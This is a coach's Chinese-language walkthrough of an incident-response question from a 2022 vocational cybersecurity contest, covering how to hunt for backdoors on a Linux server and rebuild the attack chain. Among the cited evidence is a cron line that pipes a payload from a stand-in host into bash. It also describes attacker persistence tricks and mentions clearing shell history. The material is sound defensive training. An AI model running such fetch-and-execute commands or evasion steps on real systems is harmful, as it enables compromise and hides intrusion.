1. 赛题背景与核心价值解读2022年的那场中职网络空间安全国赛对于当时参赛的选手和指导老师来说绝对是一场硬仗。我作为一线带赛多年的教练赛后复盘时对其中一道赛题——试题5印象尤为深刻。这道题不像常规的Web渗透或密码破解那样有明确的“靶标”它更像是一个综合性的“战场环境模拟”考察的是选手在复杂、模糊的实战场景下的综合分析与应急响应能力。很多队伍在这里折戟不是技术不行而是思路没打开被题目表面的“平静”给迷惑了。今天我就结合自己的带赛经验和赛后与多位裁判、出题人的交流对这道经典赛题进行一次深度的、实战化的解析。我的解析仅代表个人基于多年一线经验的理解和建议希望能给后来备赛的师生们提供一个不一样的、更贴近实战的解题视角。这道题的核心价值在于它完美模拟了企业安全运维中常见的一种场景你接手了一个看似“正常”但实则暗流涌动的系统没有明确的攻击告警但各种细微的异常迹象又不断提示你“这里有问题”。它考察的不仅仅是某个单一漏洞的利用更是信息收集的全面性、日志分析的关联性、异常行为判断的敏锐性以及完整攻击链还原的逻辑性。对于中职学生而言这是一道从“脚本小子”向“初级安全分析师”蜕变的关键考题。2. 试题环境与初始态势分析拿到赛题时我们首先面对的是一个已经部署好的Linux服务器环境通常是CentOS或Ubuntu的某个版本。题目描述通常比较简短可能只有一两句话例如“请对提供的服务器进行安全检查分析是否存在安全威胁并提交分析报告。” 这种开放性恰恰是最大的挑战。2.1 初始信息收集方法论第一步绝不是盲目地跑扫描工具。在真实的攻防演练或应急响应中鲁莽的行动可能会破坏现场痕迹甚至触发攻击者留下的“警报”。我们首先要做的是“静默观察”。2.1.1 系统基础信息快照首先我们需要像法医勘查现场一样建立系统的“基础档案”。这包括系统与内核版本uname -a。不同版本的系统其默认配置、已知漏洞和加固方式都不同。运行时间与用户uptime看系统运行了多久突然的重启可能意味着什么。who或w命令查看当前登录用户特别注意是否有非常见用户或来自异常IP的登录。网络连接状态netstat -antp或更现代的ss -antp。这是重中之重。你需要关注所有LISTEN状态的端口开放了哪些服务、ESTABLISHED状态的连接当前正在进行的通信IP和端口是否可疑。例如发现一个到外部某IP的22端口SSH的反向连接那几乎可以断定系统已被控。进程树查看ps auxf或pstree -p。以树状形式查看进程有助于发现隐藏的子进程或异常的进程父子关系。比如一个bash进程的父进程不是sshd或终端而是某个web服务进程这就非常可疑。2.1.2 关键配置文件初窥快速检查几个关键点了解系统“本来应该是什么样子”用户与权限cat /etc/passwd查看是否有新增的、UID为0root的非常见用户或者shell被设置为/bin/bash的普通服务账号。cat /etc/sudoers或sudo -l查看当前用户的sudo权限。计划任务crontab -l当前用户以及ls -la /etc/cron.*/和/var/spool/cron/。攻击者常利用计划任务进行权限维持。系统服务systemctl list-units --typeservice --staterunning查看运行中的服务关注陌生或异常的服务名。注意在竞赛环境中所有命令操作都应考虑是否会被记录或告警。在实际比赛中这通常不是问题但养成“静默”习惯对实战有益。可以使用history -c在检查后清理当前会话的历史但要注意这本身也是一个敏感操作。2.2 常见“埋雷点”与第一轮异常识别根据历年赛题规律和实战经验出题人喜欢在以下几个地方设置“陷阱”或“后门”SSH后门替换或修改SSH相关的二进制文件如sshd或动态链接库记录密码或开放非法密钥登录。检查命令rpm -V openssh-serverCentOS或dpkg -V openssh-serverUbuntu进行文件完整性校验。查看/root/.ssh/authorized_keys文件是否有陌生的公钥。SUID权限滥用查找具有SUID权限的可执行文件特别是那些不常见的。命令find / -perm -4000 -type f 2/dev/null。攻击者可能将/bin/bash或/bin/cp等命令复制并加上SUID权限从而提权。隐藏进程与网络连接使用netstat -antp看不到所有连接攻击者可能使用libprocesshider等工具隐藏进程。此时可以尝试查看/proc/net/tcp文件这里的信息相对底层。对比netstat输出和/proc/net/tcp的内容寻找不一致的条目。动态链接库注入通过LD_PRELOAD环境变量劫持系统函数。检查/etc/ld.so.preload文件内容以及用户配置文件如~/.bashrc,~/.bash_profile中是否有导出LD_PRELOAD的语句。在2022年的这道题中根据我的复盘异常的网络连接和某个关键系统文件的细微改动是两大突破口。很多选手只发现了其中一点导致攻击链还原不完整而丢分。3. 深度排查与攻击链还原实战在完成初步信息收集并发现若干异常点后我们需要将这些点串联起来形成完整的攻击故事线。这是本题最核心、最考验逻辑思维的部分。3.1 网络异常深度分析假设我们通过ss -antp发现了一个可疑的ESTABLISHED连接本地某个高端口例如 5555连接到外部IP198.51.100.33的443端口。第一步关联进程。ss命令已经显示了进程PID。通过ps aux | grep找到该进程。假设它是一个名为[kworker/0:1]的进程。这看起来像一个内核工作线程但位置和名称可能可疑。第二步检查进程文件。进入/proc//目录cat cmdline查看进程的真实启动命令。你可能会发现它实际上执行的是/usr/bin/.sshd一个隐藏的sshd程序或是一个打包的二进制文件。第三步检查文件本身。对可疑的二进制文件进行简单分析file /usr/bin/.sshd查看文件类型strings /usr/bin/.sshd | grep -E (pass|key|IP|198.51.100)尝试提取字符串信息可能会发现硬编码的IP或密码。第四步追踪连接目的。虽然连接的是443端口HTTPS但可能是攻击者控制的C2命令与控制服务器在伪装。此时需要结合其他线索。同时检查iptables或firewalld规则看是否有规则将到某个端口的流量重定向到这个恶意进程。3.2 文件系统与日志关联分析网络异常往往在文件系统上有对应痕迹。检查系统日志journalctl -xe --since 2022-xx-xx根据比赛时间设定或直接查看/var/log/secure认证日志、/var/log/messages系统日志。搜索可疑IP、失败登录、sudo提权记录、服务启动停止记录。关键技巧关注时间戳的跳跃或日志段的缺失。攻击者可能会清理日志但粗糙的清理会留下时间上的空白这本身就是一个巨大的异常信号。查找近期变更文件使用find命令结合-mtime修改时间或-ctime状态改变时间查找比赛时间段内被修改的文件。例如find / -type f -mtime -1 2/dev/null | grep -v /proc\|/sys查找一天内被修改的文件排除虚拟文件系统。重点目录排查/tmp,/dev/shm临时目录常被用于存放攻击载荷。/var/www/html或 Web 根目录检查是否有非预期的Webshell文件。使用find /var/www -name *.php -exec grep -l eval\|base64_decode\|system\|passthru {} \;快速查找可能包含危险函数的PHP文件。/etc/init.d,/etc/systemd/system检查是否有恶意启动脚本或服务。3.3 权限维持手段挖掘攻击者进入系统后一定会想办法留下“后门”以便再次进入。SSH密钥后门如前所述仔细检查/root/.ssh/authorized_keys和/home/用户名/.ssh/authorized_keys。更要检查/etc/ssh/sshd_config中是否有AuthorizedKeysFile被修改到了其他位置。后门账户除了/etc/passwd还要检查/etc/shadow的权限应为640root和shadow组可读以及其中是否有密码哈希被清空表示无需密码登录的账户。定时任务后门这是高频考点。不仅要看用户级crontab更要看系统级目录。ls -la /etc/cron.hourly/ls -la /etc/cron.daily/cat /etc/crontab特别注意/etc/cron.d/目录下的非标准文件。 一个常见的后门是在/etc/cron.hourly/里放一个名为...点号开头的隐藏脚本内容可能是从远程下载并执行恶意程序。Systemd服务后门相对高级。检查/etc/systemd/system/下是否有名称看起来像系统服务如netcfg.service、dbus-org.service但实际指向恶意脚本的服务单元文件。3.4 攻击链逻辑串联与报告撰写将以上所有发现按时间顺序和逻辑关系串联起来形成攻击链。例如初始入侵通过Web应用漏洞如SQL注入、文件上传可能需从Web日志或残留文件中推断获取Webshell权限为www-data。内网探测与提权攻击者利用Webshell执行命令查找本地SUID文件或内核漏洞成功提权至root。权限维持提权后攻击者做了三件事A. 在/etc/cron.hourly/创建隐藏后门脚本每小时从198.51.100.33:443下载最新载荷并执行。B. 替换系统的/usr/bin/netstat为恶意版本用于隐藏到C2服务器的连接这就是为什么最初用netstat可能看不到异常连接但用ss可以看到。C. 在/root/.ssh/authorized_keys中添加了自己的公钥实现SSH直连。数据外泄通过建立的隐蔽通道如伪装成[kworker]的进程连接C2窃取系统上的敏感文件。撰写报告时不能只罗列现象。必须按照“现象Evidence - 分析Analysis - 结论Conclusion”的结构。例如现象在/etc/cron.hourly/中发现名为.sync的脚本文件其内容包含curl -s http://198.51.100.33/payload.sh | bash。分析此脚本被设置为每小时运行一次会从外部恶意地址下载并执行未知脚本。该文件修改时间与Web日志中发现的漏洞利用时间点接近。结论攻击者在获取权限后通过创建计划任务实现持久化控制。4. 常见失误点与实战技巧总结根据评分标准和观赛经验选手在本题上失分主要在于以下几点4.1 排查不全面浅尝辄止问题发现一个后门就以为万事大吉停止深入排查。技巧攻击者通常会部署多层冗余后门。发现一个要假设还有更多。按照“网络-进程-文件-配置-日志”的闭环再系统性地过一遍。4.2 只看现象不做关联问题报告里写“发现可疑文件A”、“发现异常连接B”但两者之间有什么关系是攻击链的哪个环节没有说清楚。技巧养成画“攻击时间线”草图的习惯。以时间轴为基线将发现的各个证据文件创建时间、日志记录时间、进程启动时间标上去逻辑关系一目了然。4.3 对“正常”的异常不敏感问题看到[kworker]进程就以为是内核进程直接忽略。实际上内核线程通常不会持有用户态的TCP连接。技巧对任何持有网络连接的“内核相关”或“系统常见”进程都要多看一眼。使用cat /proc//exe查看进程实际执行的文件路径或用lsof -p查看它打开的所有文件往往能发现破绽。4.4 报告撰写不规范问题语言口语化证据描述不精确如“有个怪文件”没有时间戳、完整路径等关键信息。技巧报告要像“取证报告”一样严谨。所有证据必须包含完整绝对路径、文件哈希MD5/SHA1、发现时间、关键内容片段。分析过程要逻辑清晰结论要明确指向安全威胁。4.5 忽略“反取证”手段问题题目中可能使用了简单的rootkit或文件隐藏技术。选手只用常见命令发现不了。技巧掌握一些进阶命令或方法。例如当ls看不到文件但确信其存在时可以使用ls -i查看inode号然后用find -inum来定位。对于隐藏进程可以比较ps输出和/proc目录下的数字目录列表。这道2022年的国赛题5其精髓在于“于无声处听惊雷”。它训练的不是单一技术的深度而是安全从业人员最宝贵的系统性思维和怀疑一切的态度。在平时训练中我建议师生们多搭建类似的“蜜罐”环境互相在系统中埋设后门和攻击痕迹然后进行对抗性的排查演练。只有经过这种高强度的、贴近实战的练习在面对真正复杂的赛题或安全事件时才能做到心中有图、手中有术有条不紊地揭开攻击者的所有伪装。